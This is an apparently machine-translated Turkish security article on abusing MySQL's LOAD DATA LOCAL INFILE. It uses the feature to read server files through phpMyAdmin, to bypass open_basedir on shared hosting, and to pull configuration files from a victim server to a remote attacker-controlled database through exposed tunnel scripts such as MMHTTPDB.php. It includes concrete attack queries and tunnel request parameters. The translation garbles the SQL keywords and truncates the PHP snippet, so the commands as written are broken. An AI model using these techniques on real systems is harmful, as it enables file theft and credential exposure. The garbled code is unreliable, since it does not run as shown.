Ancak operatör bu formda kullanılıyorsa: LOAD DATA LOCAL INFILE, yani LOCAL kelimesini kullanarak, dosya istemci programı tarafından (istemcinin makinesinde) okunur ve veritabanının bulunduğu sunucuya gönderilir. Bu durumda, dosyalara erişmek için FILE ayrıcalığına doğal olarak gerek yoktur (çünkü her şey istemcinin makinesinde gerçekleşir).

MySQL/mysqli/PDO_MySQL uzantıları ve LOAD DATA LOCAL ifadesi

MySQL uzantısında LOCAL kullanma yeteneği PHP_INI_SYSTEM direktifi mysql.allow_local_infile tarafından kontrol edilir. Varsayılan olarak bu direktifin değeri 1'dir ve bu nedenle ihtiyacımız olan operatör genellikle mevcuttur. Ayrıca mysql_connect işlevi, beşinci argüman 128 sabitini içeriyorsa LOAD DATA LOCAL kullanma yeteneğini etkinleştirmenize olanak tanır.

Bir veritabanına bağlanmak için PDO_MySQL uzantısı kullanıldığında, PDO::MYSQL_ATTR_LOCAL_INFILE (tamsayı) sabitini kullanarak LOCAL desteğini de etkinleştirebiliriz.

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Ancak LOAD DATA operatörüyle çalışmanın en büyük fırsatları mysqli uzantısı tarafından sağlanmaktadır. Bu uzantı aynı zamanda LOCAL kullanımını düzenleyen PHP_INI_SYSTEM mysqli.allow_local_infile yönergesini de sağlar.

Bağlantı mysqli_real_connect aracılığıyla yapılıyorsa, mysqli_options'ı kullanarak LOCAL desteğini hem etkinleştirebilir hem de devre dışı bırakabiliriz. Ayrıca, bu uzantıda mysqli_set_local_infile_handler işlevi mevcuttur; bu, LOAD DATA LOCAL INFILE ifadesi tarafından okunan dosyaların içeriğini işlemek için bir geri çağırma işlevi kaydetmenize olanak tanır.

Dosyaları okuma

Dikkatli okuyucu muhtemelen zaten phpMyAdmin'de bir hesabımız varsa, DOSYA ayrıcalığına sahip olmadan rastgele dosyaları okuyabileceğimizi ve hatta open_basedir kısıtlamalarını atlayabileceğimizi tahmin etmiştir. Sonuçta, çoğu zaman hem istemci (bu durumda phpMyAdmin) hem de MySQL arka plan programı aynı makinede bulunur. MySQL sunucusunun güvenlik politikasının sınırlamalarına rağmen, bu politikanın istemci için geçerli olmamasından faydalanabilir ve yine de dosyaları veritabanına iterek sistemden okuyabiliriz.

Algoritma basittir. Aşağıdaki SQL sorgularını yürütmek yeterlidir:

  1. Dosyaların içeriğini kaydedeceğimiz bir tablo oluşturuyoruz: CREATE TABLE temp(content text);
  2. Dosyanın içeriğini oluşturulan tabloya gönderiyoruz: YEREL INFILE VERİLERİNİ YÜKLE "/etc/hosts" TABLO İÇİNE temp ALANLAR "eof" TARAFINDAN SONLANDIRILIR "" TARAFINDAN KAÇILAN SATIRLAR "eof" TARAFINDAN SONLANDIRILIR;

Voila. /etc/hosts dosyasının içeriği artık geçici tablodadır. İkili dosyaları okumanız mı gerekiyor? Sorun değil. İlk adımda şöyle bir tablo oluşturursak:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) MOTOR = MYISAM ;

o zaman içine ikili dosyalar yüklemek mümkün olacaktır. Doğru, fazladan bitler dosyaların sonuna eklenecektir, ancak bunlar herhangi bir hex düzenleyicide kaldırılabilir. Bu şekilde IonCube/Zend/TrueCrypt/NuSphere tarafından korunan komut dosyalarını sunucudan indirebilir ve kodlarını çözebilirsiniz.

LOAD DATA LOCAL INFILE'ı nasıl kullanabileceğinize dair başka bir örnek de Apache yapılandırmasının yolunu bulmaktır. Bu şu şekilde yapılır:

  1. Öncelikle ikili dosyanın yolunu buluyoruz; bunu yapmak için yukarıda açıklanan yöntemi kullanarak /proc/self/cmdline'ı okuyun.
  2. Daha sonra HTTPD_ROOT/SERVER_CONFIG_FILE'ı aradığımız ikili dosyayı doğrudan okuruz.


Bu durumda phpMyAdmin komut dosyalarının veritabanına bağlanmak için istemci rolünü oynadığı açıktır. Ve MySQL ile çalışmak için phpMyAdmin yerine başka herhangi bir web arayüzünü kullanabilirsiniz.

Örneğin, veritabanını yedeklemek ve geri yüklemek için komut dosyalarını kullanabilirsiniz. 2007 yılında, acidroot takma adı altında bir Fransız hacker, bu söze dayanarak phpBB yönetici panelindeki dosyaları okumayı mümkün kılan bir istismar yayınladı.<= 2.0.22.

Tünel uygundur. Tünel güvensiz

Karmaşık web uygulamalarını yüklerken, örneğin komut dosyalarının ilk yapılandırılması ve ayarlanması için genellikle veritabanına doğrudan erişim gerekir. Bu nedenle, bazı durumlarda sunucuya MySQL Tüneli adı verilen basit bir komut dosyası yüklemeniz önerilir; bu komut dosyası, zorlu phpMyAdmin yerine kullanışlı bir istemci kullanarak veritabanı sorguları gerçekleştirmenize olanak tanır.

Bir veritabanıyla çalışmak için pek çok tünel vardır, ancak bunların hepsi çok yaygın değildir. Belki de en ünlülerinden biri Macromedia Dream Weaver Sunucu Komut Dosyalarıdır. Bu betiğin kaynak kodunu görüntüleyebilirsiniz.

MySQL Tüneli ile phpMyAdmin arasındaki temel fark, yalnızca veritabanı için kullanıcı adı ve şifreyi değil aynı zamanda bağlanılacak ana bilgisayarı da girme gerekliliğidir. Aynı zamanda, başka nelerin ayarlanması gerektiğini asla bilememeniz durumunda tüneller sıklıkla aktif bırakılır. Görünüşe göre bunları yalnızca veritabanında bir hesabınız varsa kullanabilirsiniz - o zaman neden korkuyorsunuz? Kısacası tünelin web sunucusuna özel bir güvenlik tehdidi oluşturmadığı görülüyor. Ancak gerçekte her şey ilk bakışta göründüğü kadar iyi değildir.

Aşağıdaki durumu düşünün. A sunucusunun http://site.com/_mmServerScripts/MMHTTPDB.php oluşturulmuş bir tünele sahip site.com web sitesine sahip olmasına izin verin. A sunucusunda LOAD DATA LOCAL kullanımının mümkün olduğunu varsayalım (yukarıda tartışıldığı gibi bu, örneğin varsayılan ayarlarla mümkündür). Bu durumda veritabanlarına her yerden erişilebilen ve LOCAL kullanımına da izin veren uzak bir MySQL sunucusunu alıp bu sunucuya bir tünel kullanarak bağlanabiliriz. Uzak bir MySQL sunucusuna bağlanmak için veriler:

DB Ana Bilgisayarı: xx.xx.xx.xxx DB Adı: name_remote_db DB Kullanıcısı: our_user DB Şifresi: our_pass

Bu durumda A sunucusu istemci rolünü oynayacaktır ve bu nedenle dosyaları ana bilgisayarından uzak veritabanına gönderebilir veya başka bir deyişle dosyaları okuyabiliriz. Aşağıdaki basit sorguyla:

Tür=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=VERİ YEREL GİRİŞİNİ YÜKLE /path/to/script/setup_options.php" TABLOYA tmp_tbl ALANLAR "__eof__" TARAFINDAN SONLANDIRILIR ESCAP ED " " SATIRLAR "__eof__" TARAFINDAN SONLANDIRILDI

Aslında bu güvenlik açığı, normal dosya okumaktan daha tehlikelidir: sonuçta, A sunucusunda yüklü olan komut dosyalarının yapılandırma dosyalarını okumanıza olanak tanır. Aynı tünel aracılığıyla, bu komut dosyalarını yöneten veritabanına zaten doğrudan erişim sağlayabilirsiniz. Yukarıda kas tünellerini kullanmak için açıklanan teknik biraz genelleştirilebilir ve serileştirme güvenlik açıklarından yararlanılırken uygulanabilir.


Müşteri sunucusu

LOAD DATA'nın yeteneklerini daha iyi anlayabilmek için MySQL DBMS'nin geleneksel istemci-sunucu mimarisini kullandığını unutmamak gerekir. MySQL ile çalışırken aslında iki programla çalışıyoruz:

  • Veritabanının depolandığı bilgisayarda bulunan bir veritabanı sunucusu programı. Mysqld arka plan programı ağ üzerinden istemci isteklerini dinler ve veritabanı içeriğine erişerek istemcilerin istediği bilgileri sağlar. Eğer mysqld --local-infile=0 seçeneğiyle başlatılırsa LOCAL çalışmaz;
  • İstemci programı sunucuya bağlanır ve istekleri sunucuya iletir. MySQL DBMS dağıtımı birkaç istemci programı içerir: MySQL konsol istemcisinin (en yaygın kullanılanı) yanı sıra mysqldump, mysqladmin, mysqlshow, mysqlimport vb. Ve gerekirse, MySQL DBMS ile birlikte gelen standart libmysql istemci kitaplığını temel alarak kendi istemci programınızı bile oluşturabilirsiniz.

Standart MySQL istemcisini kullanırken LOAD DATA LOCAL ifadesini kullanamıyorsanız --local-infile anahtarını kullanmalısınız:

Mysql --local-infile sampdb mysql> VERİYİ YEREL INFILE "member.txt" TABLO'YA YÜKLE üye;

Veya /my.cnf dosyasında istemciye yönelik seçeneği belirtin:

Yerel-dosya=1

MySQL 3.23.48 ve daha eski sürümlerle uyumluluğu sağlamak için varsayılan olarak tüm MySQL istemcilerinin ve kitaplıklarının --enable-local-infile seçeneğiyle derlendiğini, dolayısıyla LOAD DATA LOCAL'ın genellikle standart istemciler için mevcut olduğunu unutmamak önemlidir. Bununla birlikte, MySQL sunucusuna verilen komutlar esas olarak konsoldan değil komut dosyalarından gönderilir, bu nedenle web geliştirme dilleri aynı zamanda veritabanıyla çalışmak için standart MySQL istemcisinden işlevsellik açısından farklı olabilecek istemcilere de sahiptir.

Tabii ki, LOAD DATA ifadesinin bu özelliği sistem güvenliği için bir tehdit oluşturabilir ve bu nedenle MySQL 3.23.49 ve MySQL 4.0.2 (Win için 4.0.13) ile başlayarak, LOCAL seçeneği yalnızca hem istemcinin hem de istemcinin ve sunucu bunu etkinleştirir.

open_basedir kısıtlamalarını atla

LOAD DATA'yı kullanmak sıklıkla open_tabanlı kısıtlamaları atlamanıza olanak tanır. Bu, örneğin, paylaşılan barındırmada bir kullanıcının dizinine erişimimiz varsa, ancak başka bir kullanıcının ana dizinindeki komut dosyalarını okumak istiyorsak yararlı olabilir. Daha sonra bu betiği yükleyerek

1)); $e=$pdo->exec("YEREL BİLGİYİ YÜKLE "./path/to/file" TABLO İÇİNE test "__eof__" TARAFINDAN SONLANDIRILAN ALANLAR "" TARAFINDAN KAÇILAN SATIRLAR "__eof__"" TARAFINDAN SONLANDIRILIR); $pdo = boş; ?>

Çözüm

LOAD DATA operatörünün açıklanan kapasitesinin en az on yıldır bilinmesi ilginçtir. Örneğin, bildirimde [#15408] (Güvenli Mod / MySQL Vuln 2002-02-06) bununla ilgili bir açıklama bulunabilir ve daha sonra bugs.php.net'te [#21356] [#23779] benzer sorular tekrar tekrar ortaya çıktı. ] [#28632 ] [#31261] [#31711]. Geliştiricilerin kelimesi kelimesine şu yanıtı verdi:

[e-posta korumalı] Bu bir hata değil, bir özelliktir:)

Veya "Durum: Düzeltilmeyecek" biletini atadılar. Veya neredeyse hiçbir şeyi çözmeyen yamalarla sınırlıydılar. Bu konuyla ilgili biletler yeniden ortaya çıktı. Bu nedenle, open_basedir'i atlamanın belirtilen yöntemi hala oldukça fazla sayıda sunucuda çalışmaktadır. Ancak, yeni mysqlnd sürücüsünün gelişiyle, önemli değişiklikler yapma kararı alınmış gibi görünüyor: varsayılan kurulumlarda bu operatör artık hiç çalıştırılmayacak [#54158] [#55737]. Umarız yakın gelecekte geliştiriciler bu konuda işleri düzene koyarlar.